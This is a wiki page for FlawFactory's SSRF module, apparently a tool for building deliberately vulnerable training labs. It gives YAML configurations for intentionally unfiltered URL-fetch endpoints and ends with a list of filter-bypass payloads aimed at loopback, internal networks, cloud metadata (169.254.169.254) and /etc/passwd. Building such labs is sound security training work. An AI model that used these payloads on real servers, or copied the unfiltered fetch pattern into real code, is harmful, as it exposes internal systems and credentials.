Skip to content

Module: SSRF

Moiz Bootwala edited this page Jan 19, 2026 · 1 revision

Overview

Module Name: ssrf
Requires Sink: HTTP

Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to induce the server to make HTTP requests to arbitrary destinations. This can be used to access internal services, cloud metadata endpoints, or interact with systems that trust the vulnerable server.

FlawFactory's SSRF module creates real SSRF vulnerabilities by making actual HTTP requests to URLs provided by the user.

Note: You may face SSL/TLS errors since self signed certificates can fail. Additionally, the HTTP sink doesn't verify certificates strictly, so some HTTPS sites may fail.

Supported Placements

Placement Description Example Request
query_param URL query string GET /fetch?url=http://example.com
form_field POST form data POST /proxy with target=http://example.com
json_field JSON body field POST /api/fetch with {"url": "http://..."}
header HTTP header X-Proxy-URL: http://...

Configuration Options

filter (string)

URL validation filtering. These represent various bypassable protection mechanisms.

Value Description What It Blocks Bypass Methods
none No filtering Nothing N/A
scheme_only Only allows specific URL schemes Non-whitelisted schemes IP addresses, DNS rebinding
basic_host Blocks common internal hosts localhost, 127.0.0.1, internal IPs DNS rebinding, alternative representations

Default: none

allowed_schemes (array)

When using scheme_only filter, specifies which URL schemes are allowed.

allowed_schemes: ["http://", "https://"]

Default: ["http://", "https://"]

follow_redirects (boolean)

Whether to follow HTTP redirects (301, 302, etc.).

Value Behavior
true Follow redirects (up to 10)
false Return first response without following

Default: true

timeout (integer)

Request timeout in seconds.

timeout: 30    # 30 second timeout
timeout: 5     # 5 second timeout for port scanning detection

Default: 30

return_body (boolean)

Whether to include the response body in the output.

Value Behavior
true Include response body (truncated at 10KB)
false Only return status code and headers

Default: true

Configuration Examples

Basic SSRF

app:
  name: "SSRF Lab 1"
  port: 8081

endpoints:
  - path: /fetch
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: url
        config:
          filter: none
          follow_redirects: true
          return_body: true
          timeout: 30

URL Preview Feature

app:
  name: "SSRF Lab 2"
  port: 8082

endpoints:
  - path: /preview
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: link
        config:
          filter: none
          follow_redirects: true
          return_body: true

Webhook Callback

app:
  name: "SSRF Lab 3"
  port: 8083

endpoints:
  - path: /webhook
    method: POST
    vulnerabilities:
      - type: ssrf
        placement: form_field
        param: callback_url
        config:
          filter: none
          follow_redirects: true
          return_body: false    # Don't need body for webhooks

Image Proxy

app:
  name: "SSRF Lab 4"
  port: 8084

endpoints:
  - path: /image-proxy
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: src
        config:
          filter: none
          follow_redirects: false
          return_body: true

PDF Generator

app:
  name: "SSRF Lab 5"
  port: 8085

endpoints:
  - path: /generate-pdf
    method: POST
    vulnerabilities:
      - type: ssrf
        placement: form_field
        param: source_url
        config:
          filter: none
          follow_redirects: true
          return_body: true

JSON API

app:
  name: "SSRF Lab 6"
  port: 8086

endpoints:
  - path: /api/fetch
    method: POST
    vulnerabilities:
      - type: ssrf
        placement: json_field
        param: url
        config:
          filter: none
          follow_redirects: true
          return_body: true

With Scheme Filter (Bypassable)

app:
  name: "SSRF Lab 7"
  port: 8087

endpoints:
  - path: /safe-fetch
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: url
        config:
          filter: scheme_only
          allowed_schemes: ["http://", "https://"]
          follow_redirects: true

With Host Filter (Bypassable)

app:
  name: "SSRF Lab 8"
  port: 8088

endpoints:
  - path: /proxy
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: target
        config:
          filter: basic_host
          follow_redirects: true
          return_body: true

Port Scanner Simulation

app:
  name: "SSRF Lab 9"
  port: 8089

endpoints:
  - path: /check
    method: GET
    vulnerabilities:
      - type: ssrf
        placement: query_param
        param: url
        config:
          filter: none
          timeout: 5           # Short timeout for port scanning
          return_body: false   # Only need connection status

Response Examples

  1. Successful Request
{
  "url": "http://example.com",
  "status_code": 200,
  "headers": {
    "Content-Type": "text/html; charset=UTF-8",
    "Server": "nginx"
  },
  "body": "<!DOCTYPE html>...",
  "body_length": 1256
}
  1. Connection Error
{
  "url": "http://192.168.1.1:6379",
  "error": "dial tcp 192.168.1.1:6379: connect: connection refused"
}
  1. Blocked by Filter
{
  "url": "http://127.0.0.1:8080",
  "error": "access to internal hosts is not allowed",
  "blocked": true
}
  1. Timeout
{
  "url": "http://10.0.0.1:22",
  "error": "context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
}

Filter Bypass Techniques

basic_host Filter Bypasses

The basic_host filter blocks common internal patterns but has bypasses:

Blocked patterns:

  • localhost
  • 127.0.0.1, 127.0.0.0
  • 0.0.0.0
  • [::1] (IPv6 localhost)
  • 169.254.x.x (link-local)
  • 10.x.x.x (private)
  • 192.168.x.x (private)
  • 172.16-31.x.x (private)

Bypass techniques:

# Decimal IP notation
http://2130706433         # = 127.0.0.1

# Octal notation
http://0177.0.0.1         # = 127.0.0.1

# Hex notation
http://0x7f.0x0.0x0.0x1   # = 127.0.0.1

# Mixed notation
http://127.1              # Short form

# IPv6 variations
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]

# DNS rebinding
http://attacker.com       # Resolves to 127.0.0.1 after check

# Enclosed alphanumeric
http://127。0。0。1        # Unicode dots

# URL parsing tricks
http://127.0.0.1@evil.com
http://evil.com#@127.0.0.1

dns_rebind_weak Filter Bypasses

Only blocks explicit localhost and 127.0.0.1:

# All of these bypass:
http://0.0.0.0
http://[::1]
http://127.0.0.2          # Different loopback
http://192.168.1.1        # Internal network
http://169.254.169.254    # Cloud metadata

scheme_only Filter Bypasses

If only http/https are allowed:

# These are blocked:
file:///etc/passwd
gopher://internal:25

# These bypass (still http/https):
http://127.0.0.1
http://169.254.169.254
https://internal-service

Clone this wiki locally